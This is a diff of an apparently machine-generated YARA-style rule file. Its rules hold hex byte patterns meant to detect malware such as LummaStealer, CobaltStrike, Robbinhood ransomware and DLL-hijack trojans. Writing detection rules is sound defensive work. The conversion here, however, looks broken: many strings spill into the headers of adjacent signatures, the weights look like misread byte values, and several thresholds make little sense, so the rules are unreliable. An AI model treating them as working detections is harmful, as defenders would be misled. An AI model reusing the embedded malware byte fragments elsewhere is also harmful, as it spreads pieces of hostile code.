_InfrastructureShared_10340{ ((#a_54_0 & 1)*18467+(#a_76_1 & 1)*20993+(#a_76_2 & 1)*22643+(#a_6f_3 & 1)*21562+(#a_33_4 & 1)*26967) >=5 } -rule _InfrastructureShared_10341{ +rule _InfrastructureShared_11008{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 06 00 21 " @@ -112422,7 +119804,7 @@ rule _InfrastructureShared_10341{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*20580+(#a_42_2 & 1)*19745+(#a_32_3 & 1)*28265+(#a_53_4 & 1)*24940+(#a_57_5 & 1)*24946) >=7 } -rule _InfrastructureShared_10342{ +rule _InfrastructureShared_11009{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -112438,7 +119820,7 @@ rule _InfrastructureShared_10342{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*2304+(#a_47_2 & 1)*18177+(#a_54_3 & 1)*25927+(#a_00_4 & 1)*29285+(#a_79_5 & 1)*19201+(#a_75_6 & 1)*8236) >=7 } -rule _InfrastructureShared_10343{ +rule _InfrastructureShared_11010{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -112454,7 +119836,7 @@ rule _InfrastructureShared_10343{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_97_5 & 1)*0+(#a_00_6 & 1)*65) >=7 } -rule _InfrastructureShared_10344{ +rule _InfrastructureShared_11011{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -112468,7 +119850,7 @@ rule _InfrastructureShared_10344{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*25954+(#a_76_2 & 1)*27731+(#a_54_3 & 1)*8448+(#a_65_5 & 1)*25345) >=7 } -rule _InfrastructureShared_10345{ +rule _InfrastructureShared_11012{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 03 00 21 " @@ -112480,7 +119862,7 @@ rule _InfrastructureShared_10345{ ((#a_6d_0 & 1)*21027+(#a_68_1 & 1)*31086+(#a_62_2 & 1)*27719) >=8 } -rule _InfrastructureShared_10346{ +rule _InfrastructureShared_11013{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 04 00 21 " @@ -112493,7 +119875,7 @@ rule _InfrastructureShared_10346{ ((#a_4c_0 & 1)*21539+(#a_6c_1 & 1)*25199+(#a_65_2 & 1)*29561+(#a_97_3 & 1)*0) >=8 } -rule _InfrastructureShared_10347{ +rule _InfrastructureShared_11014{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 05 00 21 " @@ -112507,7 +119889,7 @@ rule _InfrastructureShared_10347{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*29808+(#a_70_2 & 1)*29283+(#a_6f_3 & 1)*21562+(#a_50_4 & 1)*273) >=8 } -rule _InfrastructureShared_10348{ +rule _InfrastructureShared_11015{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 06 00 21 " @@ -112521,7 +119903,7 @@ rule _InfrastructureShared_10348{ ((#a_6e_0 & 1)*22307+(#a_55_1 & 1)*384+(#a_4d_2 & 1)*16962+(#a_33_3 & 1)*24931+(#a_41_4 & 1)*19529) >=8 } -rule _InfrastructureShared_10349{ +rule _InfrastructureShared_11016{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 05 00 21 " @@ -112534,7 +119916,7 @@ rule _InfrastructureShared_10349{ ((#a_46_0 & 1)*16675+(#a_71_1 & 1)*14191+(#a_00_3 & 1)*0+(#a_6f_4 & 1)*21562) >=9 } -rule _InfrastructureShared_10350{ +rule _InfrastructureShared_11017{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -112544,7 +119926,18 @@ rule _InfrastructureShared_10350{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_10351{ +rule _InfrastructureShared_11018{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 5a 4c 53 21 4d 54 42 00 0a 00 55 03 11 06 1b 6f 90 01 01 01 00 0a 00 11 06 17 6f 90 01 01 01 00 0a 00 11 06 09 6f 90 01 01 01 00 0a 00 11 06 08 } //21539 + $a_01_1 = {01 } //-28561 + condition: + ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*-28561) >=11 + +} +rule _InfrastructureShared_11019{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 08 00 21 " @@ -112554,14 +119947,14 @@ rule _InfrastructureShared_10351{ $a_00_2 = {00 } //-29418 $a_28_3 = {01 01 00 00 0a 11 07 6f 15 } //4865 $a_13_4 = {11 0a 90 00 02 00 13 01 43 6f } //0 - $a_6c_5 = {41 70 70 6c 69 63 61 74 69 6f 6e 33 02 00 0a 01 4d 44 35 44 65 63 72 79 70 74 00 00 78 97 00 00 0f 00 0f 00 06 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 52 6f 62 62 69 6e 68 6f 6f 64 2e 47 47 21 4d 54 42 00 0a 00 12 80 01 2f 67 6f 2f 73 72 63 2f 52 6f 62 62 69 6e 68 6f 6f 64 01 00 0e 80 01 6d 61 69 6e 2e 4e 65 77 } //29550 - $a_6c_6 = {72 01 00 07 80 01 6d 61 69 6e 2e 67 6f 01 00 09 80 01 73 65 72 76 65 72 2e 67 6f 01 00 09 80 01 63 6f 6e 66 69 67 2e 67 6f 01 00 13 80 01 6d 61 69 6e 2e 28 2a 73 65 72 76 65 72 29 2e 73 74 6f 70 00 00 78 97 00 00 17 00 17 00 06 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 44 4c 4c 48 69 6a 61 63 6b 2e 44 42 } //26955 - $a_42_7 = {0a 00 0c 81 01 6d 70 63 6c 69 65 6e 74 2e 64 6c 6c 01 00 20 81 01 4d 69 63 72 6f 73 6f 66 74 2d 41 6e 74 69 6d 61 6c 77 61 72 65 2d 50 72 6f 74 65 63 74 69 6f 6e 01 00 09 81 01 77 69 6e 3a 53 74 61 72 74 01 00 08 81 01 77 69 6e 3a 53 74 6f 70 05 00 08 } //19745 + $a_6c_5 = {41 70 70 6c 69 63 61 74 69 6f 6e 33 02 00 0a 01 4d 44 35 44 65 63 72 79 70 74 00 00 78 97 00 00 0f 00 0f 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 44 4c 4c 48 69 6a 61 63 6b 2e 4d 52 21 4d 54 42 00 0a 00 36 03 48 89 45 f8 48 8b 45 20 48 8b 4d f8 48 89 08 48 8b 45 10 38 00 48 8b 45 10 48 83 c0 90 01 01 48 8b } //29550 + $a_09_6 = {48 8b 4d 10 48 83 c1 08 48 2b c1 48 83 c4 20 90 00 05 00 2d 01 48 89 85 68 ff ff ff 48 8b 45 20 48 8b 8d 68 ff ff ff 48 89 08 48 8b 45 10 38 00 48 8b 45 10 48 83 c0 48 } //4173 + $a_10_7 = {89 85 44 ff ff ff 00 00 78 97 00 00 0f 00 0f 00 06 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 52 6f 62 62 69 6e 68 6f 6f 64 2e 47 47 21 4d 54 42 00 0a 00 12 80 01 2f 67 6f 2f 73 72 63 2f 52 } //11080 condition: - ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*266+(#a_00_2 & 1)*-29418+(#a_28_3 & 1)*4865+(#a_13_4 & 1)*0+(#a_6c_5 & 1)*29550+(#a_6c_6 & 1)*26955+(#a_42_7 & 1)*19745) >=11 + ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*266+(#a_00_2 & 1)*-29418+(#a_28_3 & 1)*4865+(#a_13_4 & 1)*0+(#a_6c_5 & 1)*29550+(#a_09_6 & 1)*4173+(#a_10_7 & 1)*11080) >=11 } -rule _InfrastructureShared_10352{ +rule _InfrastructureShared_11020{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 03 00 21 " @@ -112572,7 +119965,18 @@ rule _InfrastructureShared_10352{ ((#a_46_0 & 1)*16675+(#a_09_1 & 1)*256) >=14 } -rule _InfrastructureShared_10353{ +rule _InfrastructureShared_11021{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 44 4c 4c 48 69 6a 61 63 6b 2e 4d 52 21 4d 54 42 00 0a 00 36 03 48 89 45 f8 48 8b 45 20 48 8b 4d f8 48 89 08 48 8b 45 10 38 00 48 8b 45 10 48 83 c0 90 01 01 48 8b 4d 10 } //21539 + $a_8b_1 = {10 48 83 c1 08 48 2b c1 48 83 c4 20 90 00 05 00 2d 01 48 89 85 68 ff ff ff 48 8b 45 20 48 8b 8d 68 ff ff ff 48 89 08 48 8b 45 10 38 00 48 8b 45 10 48 83 c0 48 48 2b 45 10 89 85 44 ff ff ff 00 00 78 97 00 00 0f 00 0f } //2360 + condition: + ((#a_4c_0 & 1)*21539+(#a_8b_1 & 1)*2360) >=15 + +} +rule _InfrastructureShared_11022{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 06 00 21 " @@ -112586,7 +119990,7 @@ rule _InfrastructureShared_10353{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*384+(#a_6c_2 & 1)*28781+(#a_00_4 & 1)*25+(#a_76_5 & 1)*19457) >=15 } -rule _InfrastructureShared_10354{ +rule _InfrastructureShared_11023{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,17 00 17 00 06 00 21 " @@ -112601,7 +120005,7 @@ rule _InfrastructureShared_10354{ ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*24951+(#a_2e_2 & 1)*30583+(#a_3a_3 & 1)*29545+(#a_74_4 & 1)*29250+(#a_6c_5 & 1)*30789) >=23 } -rule _InfrastructureShared_10355{ +rule _InfrastructureShared_11024{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,19 00 19 00 05 00 21 " @@ -112614,7 +120018,7 @@ rule _InfrastructureShared_10355{ ((#a_6c_0 & 1)*16675+(#a_00_2 & 1)*105+(#a_2f_3 & 1)*28784+(#a_72_4 & 1)*23610) >=25 } -rule _InfrastructureShared_10356{ +rule _InfrastructureShared_11025{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,28 00 28 00 04 00 21 " @@ -112626,7 +120030,7 @@ rule _InfrastructureShared_10356{ ((#a_6c_0 & 1)*16675+(#a_32_1 & 1)*21057+(#a_71_3 & 1)*16732) >=40 } -rule _InfrastructureShared_10357{ +rule _InfrastructureShared_11026{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,fffffff3 03 fffffff3 03 04 00 21 " @@ -112639,21 +120043,21 @@ rule _InfrastructureShared_10357{ ((#a_54_0 & 1)*18467+(#a_5c_1 & 1)*25970+(#a_73_2 & 1)*21358+(#a_72_3 & 1)*21364) >=1011 } -rule _InfrastructureShared_10358{ +rule _InfrastructureShared_11027{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,fffffff4 01 fffffff4 01 05 00 21 " strings : $a_46_0 = {45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 53 6c 69 6d 4c 69 67 68 74 2e 44 21 64 68 61 00 64 00 10 01 6d 61 6b 65 43 6d 64 52 75 6e 53 79 73 43 6d 64 64 00 10 01 6d 61 6b 65 43 6d 64 52 75 6e 4d 65 6d 44 6c 6c 64 00 } //16675 $a_61_1 = {65 43 6d 64 52 75 6e 55 70 64 61 74 65 44 6c 6c 64 00 0d 01 6d 61 6b 65 43 6d 64 55 70 6c 6f 61 64 64 00 13 01 6d 61 6b 65 43 6d 64 53 65 74 45 78 74 65 6e 73 69 6f 6e 00 00 78 98 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 44 4d 21 4d 54 42 00 01 00 } //275 - $a_cb_2 = {c9 90 02 01 89 1d 90 02 04 69 db 90 02 02 00 00 0f b7 c9 0f b7 c1 8b f8 2b fb 83 ef 90 02 01 0f af c7 89 44 24 90 02 01 8d 4c 01 90 02 01 8a c1 b3 90 1b 00 f6 eb 8b 5c 24 90 02 01 2a c3 02 d0 66 0f b6 fa 8b c7 0f af c6 8b 75 00 2b c1 66 a3 90 02 04 a1 90 02 04 81 c6 90 02 04 83 e8 02 74 90 00 00 00 78 98 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 53 74 65 61 6c } //869 - $a_53_3 = {50 43 21 4d 54 42 00 01 00 63 01 20 20 20 20 00 d0 05 00 00 10 00 00 00 d0 05 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 } //29285 - $a_73_4 = {63 00 00 00 b0 02 00 00 00 e0 05 00 00 02 00 00 00 e0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 f0 05 00 00 02 00 00 00 e2 05 00 00 78 98 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 62 6f 74 2e 53 49 42 45 33 30 21 4d 54 42 00 01 00 69 02 8b 45 08 03 } //12000 + $a_cb_2 = {c9 90 02 01 89 1d 90 02 04 69 db 90 02 02 00 00 0f b7 c9 0f b7 c1 8b f8 2b fb 83 ef 90 02 01 0f af c7 89 44 24 90 02 01 8d 4c 01 90 02 01 8a c1 b3 90 1b 00 f6 eb 8b 5c 24 90 02 01 2a c3 02 d0 66 0f b6 fa 8b c7 0f af c6 8b 75 00 2b c1 66 a3 90 02 04 a1 90 02 04 81 c6 90 02 04 83 e8 02 74 90 00 00 00 78 98 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 62 6f 74 2e 53 49 42 45 33 } //869 + $a_54_3 = {00 01 00 69 02 8b 45 08 03 05 90 01 04 8b 0d 90 1b 00 8a 91 90 01 04 88 10 b8 90 01 04 0f af 85 90 01 04 25 90 01 04 89 85 90 1b 04 8b 8d 90 01 04 81 e1 90 01 04 0f b6 d1 81 e2 ff ff 00 00 0f b7 c2 8b 4d 08 03 0d 90 1b 00 0f b6 11 } //8496 + $a_45_4 = {03 05 90 1b 00 88 10 8b 4d 08 89 8d d4 fe ff ff 8b 15 90 1b 00 83 c2 01 89 15 90 00 00 00 78 98 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 72 79 70 74 49 6e 6a 65 63 74 2e 57 44 21 4d 54 42 00 01 00 66 03 48 c7 04 24 90 01 04 eb 90 01 01 4c 8b 45 90 01 01 48 89 95 90 01 04 48 89 95 90 01 04 8b 55 90 01 01 48 81 c1 90 01 04 31 c1 49 89 cb 4c 89 45 90 01 01 8d 8d 90 01 04 01 } //-12237 condition: - ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*275+(#a_cb_2 & 1)*869+(#a_53_3 & 1)*29285+(#a_73_4 & 1)*12000) >=500 + ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*275+(#a_cb_2 & 1)*869+(#a_54_3 & 1)*8496+(#a_45_4 & 1)*-12237) >=500 } -rule _InfrastructureShared_10359{ +rule _InfrastructureShared_11028{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -112663,17 +120067,7 @@ rule _InfrastructureShared_10359{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_10360{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 53 59 50 43 21 4d 54 42 00 01 00 63 01 20 20 20 20 00 d0 05 00 00 10 00 00 00 d0 05 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e } //16675 - condition: - ((#a_46_0 & 1)*16675) >=1 - -} -rule _InfrastructureShared_10361{ +rule _InfrastructureShared_11029{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -112683,7 +120077,7 @@ rule _InfrastructureShared_10361{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_10362{ +rule _InfrastructureShared_11030{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -112693,7 +120087,7 @@ rule _InfrastructureShared_10362{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_10363{ +rule _InfrastructureShared_11031{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -112703,7 +120097,7 @@ rule _InfrastructureShared_10363{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_10364{ +rule _InfrastructureShared_11032{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -112713,7 +120107,7 @@ rule _InfrastructureShared_10364{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_10365{ +rule _InfrastructureShared_11033{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -112723,7 +120117,7 @@ rule _InfrastructureShared_10365{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10366{ +rule _InfrastructureShared_11034{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -112733,7 +120127,7 @@ rule _InfrastructureShared_10366{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10367{ +rule _InfrastructureShared_11035{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -112743,7 +120137,7 @@ rule _InfrastructureShared_10367{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10368{ +rule _InfrastructureShared_11036{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -112753,7 +120147,7 @@ rule _InfrastructureShared_10368{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10369{ +rule _InfrastructureShared_11037{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -112763,7 +120157,7 @@ rule _InfrastructureShared_10369{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10370{ +rule _InfrastructureShared_11038{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -112773,7 +120167,7 @@ rule _InfrastructureShared_10370{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10371{ +rule _InfrastructureShared_11039{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -112783,7 +120177,7 @@ rule _InfrastructureShared_10371{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10372{ +rule _InfrastructureShared_11040{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -112793,7 +120187,7 @@ rule _InfrastructureShared_10372{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10373{ +rule _InfrastructureShared_11041{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -112803,7 +120197,7 @@ rule _InfrastructureShared_10373{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10374{ +rule _InfrastructureShared_11042{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -112813,7 +120207,7 @@ rule _InfrastructureShared_10374{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10375{ +rule _InfrastructureShared_11043{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -112823,7 +120217,7 @@ rule _InfrastructureShared_10375{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_10376{ +rule _InfrastructureShared_11044{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -112833,7 +120227,7 @@ rule _InfrastructureShared_10376{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_10377{ +rule _InfrastructureShared_11045{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -112844,7 +120238,7 @@ rule _InfrastructureShared_10377{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*12388) >=1 } -rule _InfrastructureShared_10378{ +rule _InfrastructureShared_11046{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -112855,7 +120249,7 @@ rule _InfrastructureShared_10378{ ((#a_54_0 & 1)*18467+(#a_d3_1 & 1)*-1789) >=1 } -rule _InfrastructureShared_10379{ +rule _InfrastructureShared_11047{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -112867,7 +120261,7 @@ rule _InfrastructureShared_10379{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*80+(#a_67_2 & 1)*26994) >=1 } -rule _InfrastructureShared_10380{ +rule _InfrastructureShared_11048{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -112879,41 +120273,31 @@ rule _InfrastructureShared_10380{ ((#a_46_0 & 1)*16675+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=1 } -rule _InfrastructureShared_10381{ +rule _InfrastructureShared_11049{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " strings : $a_54_0 = {3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 2e 41 44 42 5f 45 50 32 21 5f 6c 6f 77 66 69 00 01 00 1d 03 68 00 80 00 00 89 c0 6a 00 90 02 16 8b 90 03 04 04 ad 90 01 04 6d 90 01 01 ff e0 90 00 01 00 1b 03 68 00 80 00 00 } //18467 $a_02_1 = {16 8b 90 03 04 04 ad 90 01 04 6d 90 01 01 ff e0 90 00 01 00 1d 03 68 00 80 00 00 89 ff 6a 00 90 02 16 8b 90 03 04 04 ad 90 01 04 6d 90 01 01 ff e0 90 00 00 00 78 98 00 00 01 00 01 00 03 00 21 23 5a 62 6f 74 3a 4f 62 66 75 73 63 61 74 6f 72 2e 51 51 00 01 00 1b 03 33 ce 2b cf 8b 45 90 01 01 33 c6 3b 8c 05 90 09 06 00 89 45 90 01 01 8b 4d 90 00 01 00 29 03 30 0c 3b 83 f8 4e 7e 11 8b c6 99 83 e2 07 03 c2 8b 54 24 90 01 01 c1 f8 03 } //106 - $a_ce_2 = {fe 90 01 01 7e 05 83 f1 02 90 00 01 00 2b 03 88 0c 37 8a 95 90 01 02 ff ff 02 d1 32 d0 30 14 37 83 f9 6c 7e 32 8b 8d 90 01 02 ff ff b8 93 24 49 92 f7 e9 03 d1 c1 fa 05 90 00 00 00 78 98 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 74 72 69 63 74 6f 72 2e 50 41 21 4d 54 42 00 02 00 6a 01 11 05 17 58 28 6a 00 00 06 28 43 00 00 0a 5d 13 05 11 06 09 11 05 94 58 28 6b 00 00 06 28 43 } //4587 + $a_ce_2 = {fe 90 01 01 7e 05 83 f1 02 90 00 01 00 2b 03 88 0c 37 8a 95 90 01 02 ff ff 02 d1 32 d0 30 14 37 83 f9 6c 7e 32 8b 8d 90 01 02 ff ff b8 93 24 49 92 f7 e9 03 d1 c1 fa 05 90 00 00 00 78 98 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 48 53 54 52 3a 4d 53 49 4c 2f 4d 75 6c 74 69 70 6c 65 4f 62 66 75 73 63 61 74 6f 72 73 2e 41 00 01 00 32 01 7b 00 31 00 31 00 31 00 31 00 31 00 2d 00 32 00 32 00 32 00 32 00 32 00 2d 00 35 } //4587 condition: ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*106+(#a_ce_2 & 1)*4587) >=1 } -rule _InfrastructureShared_10382{ +rule _InfrastructureShared_11050{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " strings : $a_6f_0 = {3a 4f 62 66 75 73 63 61 74 6f 72 2e 51 51 00 01 00 1b 03 33 ce 2b cf 8b 45 90 01 01 33 c6 3b 8c 05 90 09 06 00 89 45 90 01 01 8b 4d 90 00 01 00 29 03 30 0c 3b 83 f8 4e 7e 11 8b c6 99 83 e2 07 03 c2 8b 54 24 90 01 01 c1 f8 03 eb 11 8b ce 83 fe 90 01 01 7e 05 83 f1 02 90 00 01 00 2b 03 88 0c 37 } //23075 - $a_01_1 = {02 ff ff 02 d1 32 d0 30 14 37 83 f9 6c 7e 32 8b 8d 90 01 02 ff ff b8 93 24 49 92 f7 e9 03 d1 c1 fa 05 90 00 00 00 78 98 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 74 72 69 63 74 6f 72 2e 50 41 21 4d 54 42 00 02 00 6a 01 11 05 17 58 28 6a 00 00 06 28 43 00 00 0a 5d 13 05 11 06 09 11 05 94 58 28 6b 00 00 06 28 43 00 00 0a 5d 13 06 09 11 05 94 13 0d 09 11 05 09 11 06 94 9e 09 11 06 11 0d 9e 09 } //-27254 - $a_94_2 = {11 06 94 58 20 } //4361 + $a_01_1 = {02 ff ff 02 d1 32 d0 30 14 37 83 f9 6c 7e 32 8b 8d 90 01 02 ff ff b8 93 24 49 92 f7 e9 03 d1 c1 fa 05 90 00 00 00 78 98 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 48 53 54 52 3a 4d 53 49 4c 2f 4d 75 6c 74 69 70 6c 65 4f 62 66 75 73 63 61 74 6f 72 73 2e 41 00 01 00 32 01 7b 00 31 00 31 00 31 00 31 00 31 00 2d 00 32 00 32 00 32 00 32 00 32 00 2d 00 35 00 30 00 30 00 30 00 31 00 2d 00 30 00 30 00 30 00 30 00 31 00 7d 00 01 00 30 01 } //-27254 + $a_00_2 = {77 00 65 00 72 00 65 00 64 00 20 00 62 00 79 00 20 00 53 00 6d 00 61 00 72 00 74 00 41 00 73 00 73 00 65 00 6d 00 62 00 6c 00 79 00 00 00 78 98 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 6e 6f 50 61 63 2e 41 00 01 00 31 81 01 43 56 45 2d 32 30 32 31 2d 34 32 32 38 37 2f 43 56 45 2d 32 30 32 } //80 condition: - ((#a_6f_0 & 1)*23075+(#a_01_1 & 1)*-27254+(#a_94_2 & 1)*4361) >=1 + ((#a_6f_0 & 1)*23075+(#a_01_1 & 1)*-27254+(#a_00_2 & 1)*80) >=1 } -rule _InfrastructureShared_10383{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 74 72 69 63 74 6f 72 2e 50 41 21 4d 54 42 00 02 00 6a 01 11 05 17 58 28 6a 00 00 06 28 43 00 00 0a 5d 13 05 11 06 09 11 05 94 58 28 6b 00 00 06 28 43 00 00 0a 5d 13 06 09 11 05 94 13 0d 09 } //16675 - condition: - ((#a_46_0 & 1)*16675) >=2 - -} -rule _InfrastructureShared_10384{ +rule _InfrastructureShared_11051{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -112924,7 +120308,7 @@ rule _InfrastructureShared_10384{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*48) >=2 } -rule _InfrastructureShared_10385{ +rule _InfrastructureShared_11052{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -112935,7 +120319,7 @@ rule _InfrastructureShared_10385{ ((#a_46_0 & 1)*16675+(#a_81_1 